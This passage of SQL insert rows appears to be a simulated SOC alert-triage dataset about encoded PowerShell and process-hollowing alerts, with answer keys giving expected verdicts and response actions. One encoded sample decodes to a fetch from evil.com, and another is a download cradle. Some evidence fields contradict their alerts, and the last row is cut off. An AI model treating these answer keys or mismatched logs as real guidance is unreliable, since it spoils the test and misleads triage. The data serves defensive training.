(1729, 'Suspicious PowerShell Execution Detected', 'medium', 'Sysmon', 'An internal system executed a PowerShell script using an encoded command, potentially indicating malicious intent.', 'Malware', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T12:30:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.15\",\"dst_ip\":\"192.168.1.100\",\"username\":\"bsmith\",\"hostname\":\"WORKSTATION-01\",\"command_line\":\"powershell -EncodedCommand cHJpbnQgIkhlbGxvLCBXb3JsZCEi\"}', '2026-03-15 19:49:29', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address executing a PowerShell script\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell -EncodedCommand cHJpbnQgIkhlbGxvLCBXb3JsZCEi\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Encoded command decoded to benign PowerShell script\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The decoded PowerShell command is benign and not indicative of malicious activity.\"}', 'Intermediate', 'EDR', 5, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.083Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:30:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"bsmith\\\",\\\"hostname\\\":\\\"WORKSTATION-01\\\",\\\"command_line\\\":\\\"powershell -EncodedCommand cHJpbnQgIkhlbGxvLCBXb3JsZCEi\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.083Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:30:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"bsmith\\\",\\\"hostname\\\":\\\"WORKSTATION-01\\\",\\\"command_line\\\":\\\"powershell -EncodedCommand cHJpbnQgIkhlbGxvLCBXb3JsZCEi\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.083Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:30:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"bsmith\\\",\\\"hostname\\\":\\\"WORKSTATION-01\\\",\\\"command_line\\\":\\\"powershell -EncodedCommand cHJpbnQgIkhlbGxvLCBXb3JsZCEi\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.083Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:30:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"bsmith\\\",\\\"hostname\\\":\\\"WORKSTATION-01\\\",\\\"command_line\\\":\\\"powershell -EncodedCommand cHJpbnQgIkhlbGxvLCBXb3JsZCEi\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.083Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:30:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"bsmith\\\",\\\"hostname\\\":\\\"WORKSTATION-01\\\",\\\"command_line\\\":\\\"powershell -EncodedCommand cHJpbnQgIkhlbGxvLCBXb3JsZCEi\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1730, 'Unauthorized PowerShell Script Execution', 'high', 'Carbon Black', 'Detected execution of an unauthorized PowerShell script with an encoded command targeting an external IP.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T14:05:12Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.50\",\"dst_ip\":\"198.51.100.40\",\"username\":\"jdoe\",\"hostname\":\"CORP-LAPTOP01\",\"command_line\":\"powershell -EncodedCommand d2hvYW1pIQ==\"}', '2026-03-15 19:49:29', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address involved in unauthorized script execution\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.40\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple phishing campaigns\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"powershell -EncodedCommand d2hvYW1pIQ==\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command matched with known malicious patterns\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The PowerShell execution with contact to a known malicious IP indicates an active threat.\"}', 'Intermediate', 'EDR', 5, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.085Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:05:12Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"198.51.100.40\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAPTOP01\\\",\\\"command_line\\\":\\\"powershell -EncodedCommand d2hvYW1pIQ==\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.085Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:05:12Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"198.51.100.40\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAPTOP01\\\",\\\"command_line\\\":\\\"powershell -EncodedCommand d2hvYW1pIQ==\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.085Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:05:12Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"198.51.100.40\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAPTOP01\\\",\\\"command_line\\\":\\\"powershell -EncodedCommand d2hvYW1pIQ==\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.085Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:05:12Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"198.51.100.40\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAPTOP01\\\",\\\"command_line\\\":\\\"powershell -EncodedCommand d2hvYW1pIQ==\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.085Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:05:12Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"198.51.100.40\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAPTOP01\\\",\\\"command_line\\\":\\\"powershell -EncodedCommand d2hvYW1pIQ==\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1731, 'Potential Process Hollowing in Explorer.exe', 'medium', 'Sysmon', 'Process hollowing detected in explorer.exe, but further analysis suggests it may not be malicious.', 'Malware', 'T1055', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T16:22:58Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.30\",\"dst_ip\":\"\",\"username\":\"jsmith\",\"hostname\":\"INTERNAL-PC02\",\"command_line\":\"explorer.exe /loadlibrary\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\"}', '2026-03-15 19:49:29', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.30\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address involved in process execution\"}},{\"id\":\"artifact_2\",\"type\":\"filename\",\"value\":\"explorer.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"File hash not associated with any known malware\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"explorer.exe /loadlibrary\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Usage of loadlibrary is uncommon but not necessarily malicious\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The process hollowing alert in explorer.exe is likely a false positive due to clean file hash.\"}', 'Intermediate', 'EDR', 5, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.086Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T16:22:58Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.30\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"jsmith\\\",\\\"hostname\\\":\\\"INTERNAL-PC02\\\",\\\"command_line\\\":\\\"explorer.exe /loadlibrary\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.086Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T16:22:58Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.30\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"jsmith\\\",\\\"hostname\\\":\\\"INTERNAL-PC02\\\",\\\"command_line\\\":\\\"explorer.exe /loadlibrary\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.086Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T16:22:58Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.30\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"jsmith\\\",\\\"hostname\\\":\\\"INTERNAL-PC02\\\",\\\"command_line\\\":\\\"explorer.exe /loadlibrary\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.086Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T16:22:58Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.30\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"jsmith\\\",\\\"hostname\\\":\\\"INTERNAL-PC02\\\",\\\"command_line\\\":\\\"explorer.exe /loadlibrary\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.086Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T16:22:58Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.30\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"jsmith\\\",\\\"hostname\\\":\\\"INTERNAL-PC02\\\",\\\"command_line\\\":\\\"explorer.exe /loadlibrary\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1732, 'Encoded PowerShell Command Execution', 'high', 'CrowdStrike', 'A PowerShell script with an encoded command was executed on an internal host, potentially communicating with an external IP.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T18:11:47Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.60\",\"dst_ip\":\"203.0.113.40\",\"username\":\"mwhite\",\"hostname\":\"INTERNAL-WORKSTATION03\",\"command_line\":\"powershell -EncodedCommand c2VjcmV0IG1lc3NhZ2U=\"}', '2026-03-15 19:49:29', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.60\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address executing suspicious encoded PowerShell\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.40\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP flagged for hosting malicious scripts\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"powershell -EncodedCommand c2VjcmV0IG1lc3NhZ2U=\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command indicates malicious use\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The use of an encoded PowerShell command with external communication suggests a malware infection.\"}', 'Intermediate', 'EDR', 5, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1733, 'PowerShell Execution with External IP Contact', 'high', 'SentinelOne', 'Encoded PowerShell executed on an internal host with communication to a known malicious external IP.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T20:15:53Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.70\",\"dst_ip\":\"198.51.100.50\",\"username\":\"jdoe\",\"hostname\":\"LAPTOP-USER01\",\"command_line\":\"powershell -EncodedCommand Z2V0IGNvbnRlbnQgZnJvbSBodHRwOi8vZXZpbC5jb20=\"}', '2026-03-15 19:49:29', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.70\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP executing potentially malicious PowerShell\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported for malicious activities multiple times\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"powershell -EncodedCommand Z2V0IGNvbnRlbnQgZnJvbSBodHRwOi8vZXZpbC5jb20=\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command mirrors known attack patterns\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The encoded command and contact with a malicious IP confirm a malware attempt.\"}', 'Intermediate', 'EDR', 5, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.089Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T20:15:53Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.70\\\",\\\"dst_ip\\\":\\\"198.51.100.50\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"LAPTOP-USER01\\\",\\\"command_line\\\":\\\"powershell -EncodedCommand Z2V0IGNvbnRlbnQgZnJvbSBodHRwOi8vZXZpbC5jb20=\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.089Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T20:15:53Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.70\\\",\\\"dst_ip\\\":\\\"198.51.100.50\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"LAPTOP-USER01\\\",\\\"command_line\\\":\\\"powershell -EncodedCommand Z2V0IGNvbnRlbnQgZnJvbSBodHRwOi8vZXZpbC5jb20=\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.089Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T20:15:53Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.70\\\",\\\"dst_ip\\\":\\\"198.51.100.50\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"LAPTOP-USER01\\\",\\\"command_line\\\":\\\"powershell -EncodedCommand Z2V0IGNvbnRlbnQgZnJvbSBodHRwOi8vZXZpbC5jb20=\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.089Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T20:15:53Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.70\\\",\\\"dst_ip\\\":\\\"198.51.100.50\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"LAPTOP-USER01\\\",\\\"command_line\\\":\\\"powershell -EncodedCommand Z2V0IGNvbnRlbnQgZnJvbSBodHRwOi8vZXZpbC5jb20=\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.089Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T20:15:53Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.70\\\",\\\"dst_ip\\\":\\\"198.51.100.50\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"LAPTOP-USER01\\\",\\\"command_line\\\":\\\"powershell -EncodedCommand Z2V0IGNvbnRlbnQgZnJvbSBodHRwOi8vZXZpbC5jb20=\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1734, 'False Positive: Benign PowerShell Activity', 'low', 'Carbon Black', 'Detected PowerShell activity with encoded command execution. Further analysis reveals it to be a benign script.', 'Malware', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T22:40:30Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.80\",\"dst_ip\":\"192.168.1.100\",\"username\":\"awilliams\",\"hostname\":\"DESKTOP-USER02\",\"command_line\":\"powershell -EncodedCommand Y2FsYyA3Kjcp\"}', '2026-03-15 19:49:29', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.80\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address executing benign PowerShell\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell -EncodedCommand Y2FsYyA3Kjcp\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Encoded command decoded to a benign script\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The PowerShell command, once decoded, is confirmed to be non-malicious.\"}', 'Intermediate', 'EDR', 5, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.091Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T22:40:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.80\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"awilliams\\\",\\\"hostname\\\":\\\"DESKTOP-USER02\\\",\\\"command_line\\\":\\\"powershell -EncodedCommand Y2FsYyA3Kjcp\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.091Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T22:40:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.80\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"awilliams\\\",\\\"hostname\\\":\\\"DESKTOP-USER02\\\",\\\"command_line\\\":\\\"powershell -EncodedCommand Y2FsYyA3Kjcp\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.091Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T22:40:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.80\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"awilliams\\\",\\\"hostname\\\":\\\"DESKTOP-USER02\\\",\\\"command_line\\\":\\\"powershell -EncodedCommand Y2FsYyA3Kjcp\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.091Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T22:40:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.80\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"awilliams\\\",\\\"hostname\\\":\\\"DESKTOP-USER02\\\",\\\"command_line\\\":\\\"powershell -EncodedCommand Y2FsYyA3Kjcp\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.091Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T22:40:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.80\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"awilliams\\\",\\\"hostname\\\":\\\"DESKTOP-USER02\\\",\\\"command_line\\\":\\\"powershell -EncodedCommand Y2FsYyA3Kjcp\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1735, 'PowerShell Encoded Script Execution Detected', 'high', 'CrowdStrike', 'A PowerShell download cradle executed an encoded script on an internal machine, indicating a potential compromise.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T12:45:30Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.15\",\"dst_ip\":\"\",\"username\":\"jdoe\",\"hostname\":\"workstation-15\",\"command_line\":\"powershell.exe -EncodedCommand UwBFAFgAIAAtAE4AbwBwAG8AbwAgACIAaAB0AHQAcAA6AC8ALwBlAHgBhABtAHAAbABlAC4AYwBvAG0AIgA=\"}', '2026-03-15 19:50:15', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"powershell.exe -EncodedCommand UwBFAFgAIAAtAE4AbwBwAG8AbwAgACIAaAB0AHQAcAA6AC8ALwBlAHgBhABtAHAAbABlAC4AYwBvAG0AIgA=\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell script linked to known malware activity\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address indicating a compromised host\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The execution of an encoded PowerShell script suggests an attempt to bypass security controls.\"}', 'Intermediate', 'EDR', 5, 1, 'TECH', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 